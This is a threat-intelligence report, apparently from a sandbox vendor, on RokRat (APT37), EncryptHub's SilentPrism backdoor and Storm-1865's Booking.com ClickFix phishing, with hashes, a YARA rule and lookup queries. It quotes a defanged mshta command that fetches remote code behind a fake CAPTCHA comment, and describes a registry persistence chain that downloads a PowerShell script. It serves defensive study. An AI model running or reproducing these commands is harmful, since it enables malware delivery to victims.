Overview

This report highlights activity associated with cybercriminal groups, including both APT actors and independent threat actors. It provides examples of malicious samples and describes the tactics and procedures observed. Relevant indicators of compromise (IOCs), YARA rules, and TI Lookup queries are included to help identify and explore similar activity within the ANY.RUN environment.

🚨 APT37 activity

A report was recently published by independent researcher ZW0iF, detailing a campaign by the North Korean threat actor APT37 involving the use of .lnk files and a multi-stage execution chain leading to the deployment of RokRat.

Threat Actor Profile: APT37

APT37 is a North Korean cyber espionage group that has been active since 2012 and is affiliated with the DPRK government. It belongs to the APT threat class.

  • Origin: North Korea

  • Active Since: 2012

  • Motivation: Cyberespionage

  • Targeted Countries: South Korea, Czech Republic, Poland, UK, USA, Romania, Japan, Vietnam, Hong Kong, Thailand , Russia, Nepal, China, India

  • Targeted Industries: Aerospace, Automotive, Chemical, Education, Financial, Government, Healthcare, High-Tech, Manufacturing, Media, Technology, Transportation

Analysis of Related activity in ANY.RUN

In the described activity from the APT37 report, group uses RokRat as the final payload—a remote access trojan designed for covert control over compromised systems and data exfiltration.

  • SHA-256: 09a4adef9a7374616851e5e2a7d9539e1b9808e153538af94ad1d6d73a3a1232

  • Sample: ANY.RUN

ANY.RUN detects this threat and highlights several functional capabilities—for instance, screenshot capture and system information gathering SystemBiosVersion—though this does not represent the full extent of the malware’s capabilities.

realfirst

With the following TI lookup query, we can search through recent public sandbox analyses and identify this malicious activity.

TI lookup: MITRE:"T1082" AND threatName:"rokrat"

In terms of network behavior, we observe communication with the Yandex cloud service, which RokRat leverages as a command-and-control (C2) channel.

We can search for RokRat samples using ANY.RUN's YARA Search by applying the YARA rule provided in the report by ZW0iF. To perform the search, simply copy the rule below into the YARA Search interface.


rule detect_RokRat
{
    meta:
        description = "Detects Rokrat payload using some of the hardcoded strings "
        author = "Mohamed Ezzat (@ZW01f)"
        hash1  = "09a4adef9a7374616851e5e2a7d9539e1b9808e153538af94ad1d6d73a3a1232"
        hash2  = "94159655fa0bfb1eff092835d8922d3e18ca5c73884fd0d8b78f42c8511047b6"
    strings:
      // apis used 
      $s0 = "https://api.pcloud.com/deletefile?path=%s"  wide
        $s1 = "https://api.dropboxapi.com/2/files/list_folder"  wide
        $s3 = "https://cloud-api.yandex.net/v1/disk/resources/upload?path=%s&overwrite=%s" wide 
        $s4 = "https://cloud-api.yandex.net/v1/disk/resources?path=%s&limit=500" wide
      $s5 = "https://cloud-api.yandex.net/v1/disk/resources?path=%s&permanently=%s" wide
      // file it use for download payloads . 
      $s6 = "KB400928_doc.exe"
      $s7 = "%04d%02d%02d %02d%02d%02d" wide
    condition:
        uint16(0) == 0x5A4D and all of ($s*) 
}

🚨 EncryptHub activity

A report was recently published by Trend Micro, covering a recent activity linked to the Russian-speaking threat actor EncryptHub. The report provides insight into the group’s evolving toolset and operational tactics, highlighting their ongoing activity across multiple regions and their use of publicly available infrastructure to support attacks.

Threat Actor Profile: Encrypthub

EncryptHub is a Russian-speaking cybercriminal group tracked for conducting opportunistic and targeted operations. The group has been observed using custom backdoors and stealer malware, often distributed via social engineering campaigns. It is sometimes referred to in reporting as Water Gamayun.

  • Origin: Russia

  • Active Since: 2024

  • Motivation: Financial gain

Targeted Countries: Unknown

Targeted Industries: Unknown

Analysis of Related activity in ANY.RUN

EncryptHub uses malicious MSI installers to launch a PowerShell loader that retrieves the next-stage payload.

  • SHA-256: cbb84155467087c4da2ec411463e4af379582bb742ce7009156756482868859c

  • Sample:ANY.RUN

  • SHA-256: 725df91a9db2e077203d78b8bef95b8cf093e7d0ee2e7a4f55a30fe200c3bf8f

  • Sample:ANY.RUN

  • SHA-256: db3fe436f4eeb9c20dc206af3dfdff8454460ad80ef4bab03291528e3e0754ad

  • Sample:ANY.RUN

Following exposure in August 2024, the group moved from GitHub to the domains encrypthub[.]org and encrypthub[.]net to host malware and manage C2 infrastructure. Multiple samples observed in this campaign establish network connections to encrypthub[.]org.

With the following TI lookup query, we can search through recent public sandbox analyses and identify this malicious activity.

TI lookup: domainName:"encrypthub.org" AND commandLine:"msiexec.exe"

The Trend Micro report also highlights the use of the SilentPrism backdoor, implemented as a PowerShell script named worker.ps1. It employs different persistence mechanisms depending on user privileges. When executed under a non-administrative user, it creates autorun entries in the Windows Registry using mshta.exe in combination with VBScript to retrieve and execute remote payloads.

  • SHA-256: 983506186590f7118cb507d29f12f163afb536a03e6d0f4fb441df8afe49ede1

  • Sample: ANY.RUN

  • SHA-256: 7d9b41d7600c79b79e01f4e5100673bb134d5b4ea84ed8fcc9a2be6ccc1df4f7

  • Sample:ANY.RUN

The analyzed sample modifies the Windows Registry key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run to establish persistence. It adds an entry that uses mshta.exe to execute embedded VBScript, which in turn runs a PowerShell command to download and execute the worker.ps1 script from hxxps[:]//encrypthub[.]org/main/zakrep/worker.ps1

first

With the following TI lookup query, we can search through recent public sandbox analyses and identify this malicious activity.

TI lookup: registryKey:"*SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" AND registryValue:"*mshta*vbscript*encrypthub.*"

🚨 Storm-1865 activity

Microsoft uncovered a phishing campaign operated by the threat actor Storm-1865, using fake Booking.com-themed emails and websites to deliver credential-stealing malware through a multi-stage infection chain. Full details were shared in a report published in March 2025.

Threat Actor Profile: Storm-1865

Storm-1865 is a financially motivated threat actor known for phishing campaigns that impersonate legitimate brands. The group has been observed distributing credential-stealing malware across multiple global regions. Targeted industries include the hospitality sector.

  • Origin: Unknown

  • Active Since: 2023

  • Motivation: Financial gain, Information Theft

  • Targeted Regions: Worldwide

  • Targeted Industries: Hospitality

Analysis of Related activity in ANY.RUN

In its latest campaign, Storm-1865 distributed phishing emails impersonating Booking.com. The emails contained links leading to fake CAPTCHA pages designed to build trust and lure users into interaction. The threat actor leveraged the ClickFix technique, instructing victims to paste a malicious command into the Windows command prompt. The command triggers remote code execution via mshta.exe:

mshta.exe hxxp[:]//92[.]255.57.155/Capcha.html # ✅ ''I am not a robot - reCAPTCHA Verification ID: 3781

The campaign has been observed delivering several commodity malware families, including XWorm, Lumma Stealer, VenomRAT, AsyncRAT, DanaBot, and NetSupport RAT.

  • Link analysis: ANY.RUN

With the following TI lookup query, we can search through recent public sandbox analyses and identify this malicious activity.

TI lookup: commandLine:"mshta*92.255.57.155/Capcha*"

References

  • https://therecord.media/booking-phishing-hotels-malware-campaign?utm_source
  • https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/
  • https://www.trendmicro.com/en_us/research/25/c/deep-dive-into-water-gamayun.html
  • https://zw01f.github.io/malware%20analysis/apt37/